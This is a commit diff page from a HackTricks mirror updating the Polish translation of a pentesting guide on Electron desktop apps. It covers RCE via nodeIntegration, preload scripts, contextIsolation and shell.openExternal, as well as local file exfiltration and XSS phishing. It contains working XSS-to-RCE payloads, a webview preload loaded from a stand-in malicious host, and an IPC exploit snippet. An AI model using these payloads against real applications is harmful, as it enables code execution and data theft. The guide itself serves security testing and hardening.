maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/network-services-pentesting/pentesting-web/electron-des

Browse Source
This commit is contained in:
Translator 2025-09-29 22:11:29 +00:00
parent 2930b8ebc5
commit 71b4282b95
1 changed files with 131 additions and 103 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

234
src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
View File

@ -6,12 +6,12 @@
Electron łączy lokalny backend (z **NodeJS**) i frontend (**Chromium**), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek. Electron łączy lokalny backend (z **NodeJS**) i frontend (**Chromium**), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek.
Zazwyczaj kod aplikacji Electron można znaleźć wewnątrz pliku `.asar`; aby uzyskać kod, trzeba go wyodrębnić: Zazwyczaj kod aplikacji Electron można znaleźć wewnątrz pliku `.asar`; aby uzyskać kod, trzeba go wypakować:
```bash ```bash
npx asar extract app.asar destfolder #Extract everything npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file npx asar extract-file app.asar main.js #Extract just a file
``` ```
W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, określono plik `main.js`, w którym ustawione są konfiguracje bezpieczeństwa. W kodzie źródłowym aplikacji Electron, wewnątrz `packet.json`, możesz znaleźć określony plik `main.js`, w którym ustawione są konfiguracje bezpieczeństwa.
```json ```json
{ {
"name": "standard-notes", "name": "standard-notes",
@ -19,12 +19,12 @@ W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, określono plik
``` ```
Electron ma 2 typy procesów: Electron ma 2 typy procesów:
- Proces główny (ma pełny dostęp do NodeJS) - Main Process (ma pełny dostęp do NodeJS)
- Proces renderujący (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa) - Renderer Process (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa)
![](<../../../images/image (182).png>) ![](<../../../images/image (182).png>)
Proces **renderujący** będzie oknem przeglądarki ładującym plik: Proces **renderer process** będzie oknem przeglądarki ładującym plik:
```javascript ```javascript
const { BrowserWindow } = require("electron") const { BrowserWindow } = require("electron")
let win = new BrowserWindow() let win = new BrowserWindow()
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process //Open Renderer Process
win.loadURL(`file://path/to/index.html`) win.loadURL(`file://path/to/index.html`)
``` ```
Ustawienia **procesu renderera** można **skonfigurować** w **procesie głównym** w pliku main.js. Niektóre z tych ustawień mogą **zapobiec uzyskaniu RCE przez aplikację Electron** lub innym podatnościom, jeśli **ustawienia są poprawnie skonfigurowane**. Ustawienia **procesu renderera** można **skonfigurować** w **procesie głównym** w pliku main.js. Niektóre konfiguracje mogą **zapobiec uzyskaniu RCE** przez aplikację Electron lub innym podatnościom, jeśli **ustawienia są poprawnie skonfigurowane**.
Aplikacja Electron może uzyskać dostęp do urządzenia za pomocą Node apis, chociaż można to skonfigurować, aby temu zapobiec: Aplikacja Electron **może uzyskać dostęp do urządzenia** przez Node apis, chociaż można to skonfigurować, aby temu zapobiec:
- **`nodeIntegration`** - jest domyślnie `off`. Jeśli jest włączone, pozwala na dostęp do funkcji Node z procesu renderera. - **`nodeIntegration`** - jest domyślnie `off`. Jeśli jest włączone, umożliwia dostęp do funkcji Node z procesu renderera.
- **`contextIsolation`** - jest domyślnie `on`. Jeśli `off`, proces główny i proces renderera nie są odizolowane. - **`contextIsolation`** - jest domyślnie `on`. Jeśli `off`, proces główny i proces renderera nie są odizolowane.
- **`preload`** - domyślnie pusty. - **`preload`** - domyślnie puste.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - jest domyślnie `off`. Ograniczy działania, które NodeJS może wykonać. - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - domyślnie `off`. Ograniczy działania, które NodeJS może wykonać.
- Node Integration in Workers - Node Integration in Workers
- **`nodeIntegrationInSubframes`**- jest domyślnie `off`. - **`nodeIntegrationInSubframes`** - domyślnie `off`.
- Jeśli **`nodeIntegration`** jest **enabled**, pozwoli to na użycie **Node.js APIs** na stronach WWW, które są **ładowane w iframe'ach** w aplikacji Electron. - Jeśli **`nodeIntegration`** jest **enabled**, pozwoli to na użycie **Node.js APIs** na stronach ładowanych w **iframe'ach** w aplikacji Electron.
- Jeśli **`nodeIntegration`** jest **disabled**, preloady załadują się w iframe - Jeśli **`nodeIntegration`** jest **disabled**, wtedy preloads zostaną załadowane w iframe
Przykład konfiguracji: Przykład konfiguracji:
```javascript ```javascript
@ -71,7 +71,7 @@ spellcheck: true,
}, },
} }
``` ```
Niektóre **RCE payloads** z [here](https://7as.es/electron/nodeIntegration_rce.txt): Kilka **RCE payloads** z [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html ```html
Example Payloads (Windows): Example Payloads (Windows):
<img <img
@ -97,13 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
``` ```
### Przechwytywanie ruchu ### Przechwytywanie ruchu
Zmodyfikuj konfigurację start-main i dodaj użycie proxy, na przykład: Zmień konfigurację start-main i dodaj użycie proxy takiego jak:
```javascript ```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
``` ```
## Electron Local Code Injection ## Electron Local Code Injection
Jeśli możesz lokalnie uruchomić aplikację Electron, możliwe, że będziesz w stanie sprawić, by wykonała dowolny kod JavaScript. Zobacz jak w: Jeśli możesz lokalnie uruchomić aplikację Electron, możliwe że możesz sprawić, by wykonała dowolny kod javascript. Sprawdź jak w:
{{#ref}} {{#ref}}
@ -112,7 +112,7 @@ Jeśli możesz lokalnie uruchomić aplikację Electron, możliwe, że będziesz
## RCE: XSS + nodeIntegration ## RCE: XSS + nodeIntegration
Jeśli **nodeIntegration** jest ustawione na **on**, JavaScript strony WWW może łatwo korzystać z funkcji Node.js, po prostu wywołując `require()`. Na przykład sposób uruchomienia aplikacji calc na Windows wygląda następująco: If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
```html ```html
<script> <script>
require("child_process").exec("calc") require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload ## RCE: preload
Skrypt wskazany w tym ustawieniu jest l**załadowany przed innymi skryptami w rendererze**, więc ma **nieograniczony dostęp do Node APIs**: Skrypt wskazany w tym ustawieniu jest **ładowany przed innymi skryptami w rendererze**, więc ma **nieograniczony dostęp do Node APIs**:
```javascript ```javascript
new BrowserWindow{ new BrowserWindow{
webPreferences: { webPreferences: {
@ -153,16 +153,16 @@ runCalc()
## RCE: XSS + contextIsolation ## RCE: XSS + contextIsolation
_**contextIsolation**_ wprowadza **oddzielone konteksty między skryptami strony WWW a wewnętrznym kodem JavaScript Electron**, tak aby wykonanie JavaScript w jednym kontekście nie wpływało na drugi. Jest to niezbędna funkcja, aby wyeliminować możliwość RCE. The _**contextIsolation**_ wprowadza **oddzielone konteksty między skryptami strony a wewnętrznym kodem JavaScript Electron**, tak aby wykonanie JavaScript jednego kodu nie wpływało na drugie. Jest to niezbędna funkcja, aby wyeliminować możliwość RCE.
Jeśli konteksty nie są izolowane, atakujący może: Jeśli konteksty nie są izolowane, atakujący może:
1. Wykonać **dowolny JavaScript w rendererze** (XSS lub nawigacja do zewnętrznych stron) 1. Wykonać **arbitrary JavaScript in renderer** (XSS lub nawigacja do zewnętrznych stron)
2. **Nadpisać wbudowaną metodę**, która jest używana w preload lub wewnętrznym kodzie Electron, aby przejąć kontrolę nad funkcją 2. **Nadpisać wbudowaną metodę**, która jest używana w preload lub wewnętrznym kodzie Electron, aby przejąć funkcję
3. **Wywołać** użycie **nadpisanej funkcji** 3. **Wywołać** użycie **nadpisanej funkcji**
4. RCE? 4. RCE?
Są 2 miejsca, gdzie wbudowane metody mogą zostać nadpisane: w preload code lub wewnętrznym kodzie Electron: There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}} {{#ref}}
@ -179,34 +179,34 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md electron-contextisolation-rce-via-ipc.md
{{#endref}} {{#endref}}
### Ominięcie zdarzenia kliknięcia ### Bypass click event
Jeśli zastosowano ograniczenia przy kliknięciu linku, możesz je obejść, wykonując **kliknięcie środkowym przyciskiem** zamiast zwykłego kliknięcia lewym przyciskiem. Jeśli nałożono ograniczenia przy klikaniu linku, możesz być w stanie je ominąć **używając kliknięcia środkowym przyciskiem** zamiast zwykłego kliknięcia lewym przyciskiem.
```javascript ```javascript
window.addEventListener('click', (e) => { window.addEventListener('click', (e) => {
``` ```
## RCE przez shell.openExternal ## RCE via shell.openExternal
Aby uzyskać więcej informacji na temat tych przykładów, zobacz [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) Aby uzyskać więcej informacji o tych przykładach, zobacz [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Podczas wdrażania aplikacji desktopowej Electron, zapewnienie poprawnych ustawień dla `nodeIntegration` i `contextIsolation` jest kluczowe. Uznaje się, że **client-side remote code execution (RCE)** wymierzony w preload scripts lub natywny kod Electron uruchamiany z procesu głównego jest skutecznie zapobiegany, gdy te ustawienia są odpowiednio skonfigurowane. Podczas wdrażania aplikacji desktopowej Electron ważne jest prawidłowe ustawienie `nodeIntegration` i `contextIsolation`. Stwierdzono, że **client-side remote code execution (RCE)** wymierzone w preload scripts lub natywny kod Electrona z main process jest skutecznie uniemożliwione przy tych ustawieniach.
Gdy użytkownik wchodzi w interakcję z linkami lub otwiera nowe okna, wywoływane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji: Gdy użytkownik wchodzi w interakcję z linkami lub otwiera nowe okna, wywoływane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {} webContents.on("will-navigate", function (event, url) {}
``` ```
Te nasłuchiwacze są **nadpisywane przez aplikację desktopową** w celu zaimplementowania własnej **logiki biznesowej**. Aplikacja ocenia, czy link, do którego nastąpiła nawigacja, powinien zostać otwarty wewnętrznie czy w zewnętrznej przeglądarce. Decyzja ta jest zazwyczaj podejmowana przez funkcję `openInternally`. Jeśli ta funkcja zwraca `false`, oznacza to, że link powinien zostać otwarty zewnętrznie, korzystając z funkcji `shell.openExternal`. Te nasłuchiwacze są **nadpisywane przez aplikację desktopową**, aby zaimplementować własną **logikę biznesową**. Aplikacja ocenia, czy nawigowany link powinien zostać otwarty wewnętrznie, czy w zewnętrznej przeglądarce. Decyzja ta jest zwykle podejmowana przez funkcję `openInternally`. Jeśli ta funkcja zwraca `false`, oznacza to, że link powinien zostać otwarty zewnętrznie, przy użyciu funkcji `shell.openExternal`.
**Here is a simplified pseudocode:** **Oto uproszczony pseudokod:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS security best practices odradzają akceptowanie niezaufanej zawartości przy użyciu funkcji `openExternal`, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Dla szczegółowych przykładów i dalszego wyjaśnienia tego tematu można odwołać się do [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), który zawiera przykłady protokołów Windows zdolnych wykorzystać tę podatność. Electron JS security best practices odradzają akceptowanie niezaufanej zawartości przy użyciu funkcji `openExternal`, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Dla szczegółowych przykładów i dalszego wyjaśnienia tego tematu można odwołać się do [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), które zawiera przykłady protokołów Windows zdolnych do wykorzystania tej podatności.
W macos funkcję `openExternal` można wykorzystać do wykonania dowolnych poleceń, na przykład w `shell.openExternal('file:///System/Applications/Calculator.app')`. W macos funkcja `openExternal` może być wykorzystana do wykonania dowolnych poleceń, np. `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Przykłady exploitów protokołów Windows obejmują:** **Przykłady exploitów protokołów Windows obejmują:**
```html ```html
@ -230,15 +230,15 @@ window.open(
``` ```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Ta luka znajduje się w **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. Ta luka jest opisana w **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
**webviewTag** jest **przestarzałą funkcją**, która pozwala na użycie **NodeJS** w **procesie renderera**; powinna być wyłączona, ponieważ umożliwia załadowanie skryptu wewnątrz kontekstu preload, na przykład: **webviewTag** to **przestarzała funkcja**, która pozwala na użycie **NodeJS** w **renderer process**, i powinna być wyłączona, ponieważ umożliwia załadowanie skryptu w kontekście preload, na przykład:
```xml ```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview> <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
``` ```
Dlatego atakujący, któremu uda się załadować dowolną stronę, mógłby użyć tego tagu do **load an arbitrary preload script**. W związku z tym atakujący, który zdoła załadować dowolną stronę, mógłby użyć tego tagu do **load an arbitrary preload script**.
Ten preload script został następnie wykorzystany do wywołania **vulnerable IPC service (`skype-new-window`)**, który wywoływał **`shell.openExternal`** w celu uzyskania RCE: Ten preload script został następnie nadużyty do wywołania **vulnerable IPC service (`skype-new-window`)**, który wywoływał calling calling **`shell.openExternal`**, aby uzyskać RCE:
```javascript ```javascript
(async() => { (async() => {
const { ipcRenderer } = require("electron"); const { ipcRenderer } = require("electron");
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
``` ```
## Odczyt plików wewnętrznych: XSS + contextIsolation ## Odczyt plików wewnętrznych: XSS + contextIsolation
**Wyłączenie `contextIsolation` umożliwia użycie tagów `<webview>`**, podobnych do `<iframe>`, do odczytu i exfiltracji lokalnych plików. Przykład pokazuje, jak wykorzystać tę podatność do odczytania zawartości plików wewnętrznych: **Wyłączenie `contextIsolation` umożliwia użycie tagów `<webview>`**, podobnych do `<iframe>`, do odczytu i exfiltrating lokalnych plików. Podany przykład pokazuje, jak wykorzystać tę podatność do odczytania zawartości plików wewnętrznych:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>) ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Dalej przedstawiono kolejny sposób na **odczyt pliku wewnętrznego**, naświetlający krytyczną podatność umożliwiającą odczyt lokalnych plików w aplikacji desktopowej Electron. Polega to na wstrzyknięciu skryptu w celu wykorzystania aplikacji i exfiltracji danych: Dodatkowo przedstawiono inną metodę **odczytania pliku wewnętrznego**, ukazującą krytyczną podatność na odczyt lokalnych plików w Electron desktop app. Polega ona na wstrzyknięciu skryptu w celu wykorzystania aplikacji i exfiltrate danych:
```html ```html
<br /><br /><br /><br /> <br /><br /><br /><br />
<h1> <h1>
@ -273,43 +273,43 @@ frames[0].document.body.innerText
``` ```
## **RCE: XSS + Stary Chromium** ## **RCE: XSS + Stary Chromium**
Jeśli używane przez aplikację **chromium** jest **stare** i istnieją na nie **znane** **vulnerabilities**, może być możliwe **wykorzystanie ich i uzyskanie RCE przez XSS**.\ Jeśli używane przez aplikację **chromium** jest **stare** i są na nim **known vulnerabilities**, może być możliwe **exploit it and obtain RCE through a XSS**.\
Przykład można zobaczyć w tym **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) Przykład znajdziesz w tym **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing przez Internal URL regex bypass** ## **XSS Phishing przez Internal URL regex bypass**
Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść plików wewnętrznych** możesz spróbować użyć go do **wykradzenia poświadczeń przez phishing**. Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść plików wewnętrznych**, możesz spróbować użyć go do **wykradzenia poświadczeń przez phishing**.
Przede wszystkim musisz wiedzieć, co się dzieje, kiedy próbujesz otworzyć nowy URL, sprawdzając kod JS w front-endzie: Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod **JS** we **front-end**:
```javascript ```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
``` ```
Wywołanie **`openInternally`** zdecyduje, czy **link** zostanie **otworzony** w **oknie desktopowym**, ponieważ należy do platformy, **czy** zostanie otworzony w **przeglądarce jako zasób 3rd party**. Wywołanie **`openInternally`** zdecyduje, czy **link** zostanie **otwarty** w **desktop window**, ponieważ jest to link należący do platformy, **czy** zostanie otwarty w **browser as a 3rd party resource**.
W przypadku, gdy **regex** użyty przez funkcję jest **wrażliwy na obejścia** (na przykład przez **nieuciekanie kropek w subdomenach**), atakujący może wykorzystać XSS do **otwarcia nowego okna**, które będzie znajdować się w infrastrukturze atakującego i **będzie prosić użytkownika o dane uwierzytelniające**: Jeśli **regex** użyty przez funkcję jest **vulnerable to bypasses** (na przykład przez **not escaping the dots of subdomains**), atakujący mógłby wykorzystać XSS, aby **open a new window which** będzie znajdować się w infrastrukturze atakującego i **asking for credentials** od użytkownika:
```html ```html
<script> <script>
window.open("<http://subdomainagoogleq.com/index.html>") window.open("<http://subdomainagoogleq.com/index.html>")
</script> </script>
``` ```
## `file://` Protokół ## `file://` Protocol
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **własny protokół** prevents issues like this as you can limit the protocol to only serving a specific set of files. Jak wspomniano w [dokumentacji](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) strony uruchamiane na **`file://`** mają jednostronny dostęp do każdego pliku na Twoim komputerze, co oznacza, że **XSS issues can be used to load arbitrary files** z maszyny użytkownika. Użycie **custom protocol** zapobiega takim problemom, ponieważ możesz ograniczyć protokół do serwowania tylko określonego zestawu plików.
## Remote module ## Remote module
The Electron Remote module allows **procesom renderera dostęp do API procesu głównego**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks. Moduł Remote w Electron umożliwia **renderer processes to access main process APIs**, ułatwiając komunikację wewnątrz aplikacji Electron. Jednak włączenie tego modułu wprowadza istotne ryzyka bezpieczeństwa. Powiększa powierzchnię ataku aplikacji, czyniąc ją bardziej podatną na podatności, takie jak cross-site scripting (XSS).
> [!TIP] > [!TIP]
> Chociaż moduł **remote** udostępnia niektóre API z procesu głównego do procesów renderera, nie jest prosto uzyskać RCE tylko przez nadużywanie tych komponentów. Jednak komponenty mogą ujawniać wrażliwe informacje. > Chociaż moduł **remote** udostępnia niektóre API z main do renderer processes, nie jest prosto uzyskać RCE jedynie przez nadużycie komponentów. Jednak te komponenty mogą ujawniać wrażliwe informacje.
> [!WARNING] > [!WARNING]
> Wiele aplikacji, które nadal używają modułu remote, robi to w sposób, który **wymaga włączenia NodeIntegration** w procesie renderera, co jest **ogromnym zagrożeniem bezpieczeństwa**. > Wiele aplikacji, które nadal używają remote module, robi to w sposób, który wymaga włączenia **NodeIntegration** w renderer process, co jest **ogromnym ryzykiem bezpieczeństwa**.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **zaleca się, aby go nie używać**. Od Electron 14 moduł `remote` może być włączony na kilka sposobów, jednak ze względów bezpieczeństwa i wydajności **zaleca się, by go nie używać**.
To enable it, it'd first needed to **włączyć go w procesie głównym**: Aby go włączyć, najpierw trzeba go **włączyć w main process**:
```javascript ```javascript
const remoteMain = require('@electron/remote/main') const remoteMain = require('@electron/remote/main')
remoteMain.initialize() remoteMain.initialize()
@ -320,39 +320,41 @@ mainWindow = new BrowserWindow({
}) })
remoteMain.enable(mainWindow.webContents) remoteMain.enable(mainWindow.webContents)
``` ```
Następnie proces renderera może zaimportować obiekty z modułu w następujący sposób: Następnie proces renderera może zaimportować obiekty z modułu w ten sposób:
```javascript ```javascript
import { dialog, getCurrentWindow } from '@electron/remote' import { dialog, getCurrentWindow } from '@electron/remote'
``` ```
The **[post na blogu](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** wskazuje kilka interesujących **funkcji** udostępnionych przez obiekt **`app`** z remote module: The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** wskazuje na kilka interesujących **funkcji** udostępnionych przez obiekt **`app`** z modułu remote:
- **`app.relaunch([options])`** - **`app.relaunch([options])`**
- **`Restartuje`** aplikację przez **`zakończenie`** bieżącej instancji i **`uruchomienie`** nowej. Przydatne przy **`aktualizacjach aplikacji`** lub znaczących **`zmianach stanu`**. - **Restartuje** aplikację przez **zakończenie** bieżącej instancji i **uruchomienie** nowej. Przydatne przy **aktualizacjach aplikacji** lub istotnych **zmianach stanu**.
- **`app.setAppLogsPath([path])`** - **`app.setAppLogsPath([path])`**
- **`Definiuje`** lub **`tworzy`** katalog do przechowywania **logów aplikacji**. Logi można **`pobrać`** lub **`zmodyfikować`** używając **`app.getPath()`** lub **`app.setPath(pathName, newPath)`**. - **Określa** lub **tworzy** katalog do przechowywania **logów aplikacji**. Logi można **pobrać** lub **zmodyfikować** używając **`app.getPath()`** lub **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])``** - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **`Rejestruje`** bieżący plik wykonywalny jako **domyślny handler** dla określonego **protokołu**. Możesz podać **własną ścieżkę** i **argumenty**, jeśli to potrzebne. - **Rejestruje** bieżący plik wykonywalny jako **domyślny program obsługujący** dla określonego **protokołu**. Można podać **niestandardową ścieżkę** i **argumenty**, jeśli to potrzebne.
- **`app.setUserTasks(tasks)``** - **`app.setUserTasks(tasks)`**
- **`Dodaje`** zadania do kategorii **Tasks** w **Jump List** (na Windows). Każde zadanie może kontrolować, jak aplikacja jest **uruchamiana** lub jakie **argumenty** są przekazywane. - **Dodaje** zadania do kategorii **Tasks** w **Jump List** (na Windows). Każde zadanie może kontrolować, jak aplikacja jest **uruchamiana** lub jakie **argumenty** są przekazywane.
- **`app.importCertificate(options, callback)``** - **`app.importCertificate(options, callback)`**
- **`Importuje`** certyfikat **PKCS#12** do systemowego **magazynu certyfikatów** (tylko Linux). Można użyć **callback** do obsługi wyniku. - **Importuje** certyfikat **PKCS#12** do systemowego magazynu certyfikatów (tylko Linux). Do obsługi wyniku można użyć **callback**.
- **`app.moveToApplicationsFolder([options])`** - **`app.moveToApplicationsFolder([options])`**
- **`Przenosi`** aplikację do folderu **Applications** (na macOS). Pomaga zapewnić **standardową instalację** dla użytkowników Mac. - **Przenosi** aplikację do folderu **Applications** (na macOS). Pomaga zapewnić **standardową instalację** dla użytkowników Mac.
- **`app.setJumpList(categories)`** - **`app.setJumpList(categories)`**
- **`Ustawia`** lub **`usuwa`** niestandardowy **Jump List** na **Windows**. Możesz określić **kategorie**, aby zorganizować, jak zadania pojawiają się dla użytkownika. - **Ustawia** lub **usuwa** niestandardową **Jump List** na **Windows**. Można określić **kategorie**, aby zorganizować sposób wyświetlania zadań użytkownikowi.
- **`app.setLoginItemSettings(settings)`** - **`app.setLoginItemSettings(settings)`**
- **`Konfiguruje`**, które pliki wykonywalne są uruchamiane przy **logowaniu** wraz z ich **opcjonalnymi ustawieniami** (tylko macOS i Windows). - **Konfiguruje**, które **pliki wykonywalne** uruchamiają się przy **logowaniu**, oraz ich **opcje** (tylko macOS i Windows).
Example: Przykład:
```javascript ```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit() Native.app.exit()
``` ```
## Moduł systemPreferences ## systemPreferences module
To **główny interfejs API** umożliwiający dostęp do ustawień systemowych i **emitowanie zdarzeń systemowych** w Electron. Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** są **częścią** tego modułu. **Główne API** do uzyskiwania dostępu do preferencji systemowych i **emitowania zdarzeń systemowych** w Electron.
**Przykładowe użycie:** Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** są **częścią** tego modułu.
**Przykład użycia:**
```javascript ```javascript
const { systemPreferences } = require('electron'); const { systemPreferences } = require('electron');
@ -367,31 +369,31 @@ console.log('Recent Places:', recentPlaces);
``` ```
### **subscribeNotification / subscribeWorkspaceNotification** ### **subscribeNotification / subscribeWorkspaceNotification**
* **Nasłuchuje** natywnych powiadomień macOS za pomocą NSDistributedNotificationCenter. * **Nasłuchuje** **natywnych powiadomień macOS** za pomocą NSDistributedNotificationCenter.
* Przed **macOS Catalina** można było przechwytywać **wszystkie** rozproszone powiadomienia, przekazując **nil** do CFNotificationCenterAddObserver. * Przed **macOS Catalina** można było sniffować **wszystkie** rozproszone powiadomienia, przekazując **nil** do CFNotificationCenterAddObserver.
* Po **Catalina / Big Sur** aplikacje w sandboxie nadal mogą **subskrybować** **wiele zdarzeń** (np. **blokady/odblokowania ekranu**, **montowanie woluminów**, **aktywność sieciową** itp.) przez rejestrowanie powiadomień **po nazwie**. * Po **Catalina / Big Sur**, aplikacje w piaskownicy (sandboxed apps) nadal mogą **subskrybować** **wiele zdarzeń** (na przykład **blokady/odblokowania ekranu**, **montowanie woluminów**, **aktywność sieciowa**, itp.) rejestrując powiadomienia **po nazwie**.
### **getUserDefault / setUserDefault** ### **getUserDefault / setUserDefault**
* **Interfejsuje** z **NSUserDefaults**, które przechowuje preferencje **aplikacyjne** lub **globalne** na macOS. * **Interfejsuje** z **NSUserDefaults**, który przechowuje **preferencje aplikacyjne** lub **globalne** na macOS.
* **getUserDefault** może **pobrać** wrażliwe informacje, takie jak **ostatnie lokalizacje plików** lub **geograficzne położenie użytkownika**. * **getUserDefault** może **pobrać** wrażliwe informacje, takie jak **ostatnie lokalizacje plików** lub **geograficzna lokalizacja użytkownika**.
* **setUserDefault** może **modyfikować** te preferencje, potencjalnie wpływając na **konfigurację** aplikacji. * **setUserDefault** może **zmodyfikować** te preferencje, potencjalnie wpływając na **konfigurację** aplikacji.
* W **starszych wersjach Electron** (przed v8.3.0) dostępny był tylko **standardowy zestaw** NSUserDefaults. * W **starszych wersjach Electron** (przed v8.3.0) dostępne było tylko **standardowe zestawy** NSUserDefaults.
## Shell.showItemInFolder ## Shell.showItemInFolder
Ta funkcja pokazuje wskazany plik w menedżerze plików, który **może automatycznie uruchomić ten plik**. This function whows the given file in a file manager, which **could automatically execute the file**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy ## Polityka Bezpieczeństwa Treści (CSP)
Aplikacje Electron powinny mieć Content Security Policy (CSP), aby **zapobiegać atakom XSS**. CSP to **standard bezpieczeństwa**, który pomaga **uniemożliwić wykonanie niezaufanego kodu** w przeglądarce. Electron apps powinny mieć **Content Security Policy (CSP)**, aby **zapobiegać atakom XSS**. **CSP** jest **standardem bezpieczeństwa**, który pomaga **zapobiegać** **wykonywaniu** **niezaufanego kodu** w przeglądarce.
Zazwyczaj **konfiguruje się** go w pliku `main.js` lub w szablonie `index.html`, umieszczając CSP w **meta tagu**. Zwykle jest **konfigurowany** w pliku **`main.js`** lub w szablonie **`index.html`** z CSP umieszczonym wewnątrz **meta tagu**.
For more information check: For more information check:
@ -401,18 +403,41 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}} {{#endref}}
## **Tools** ## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
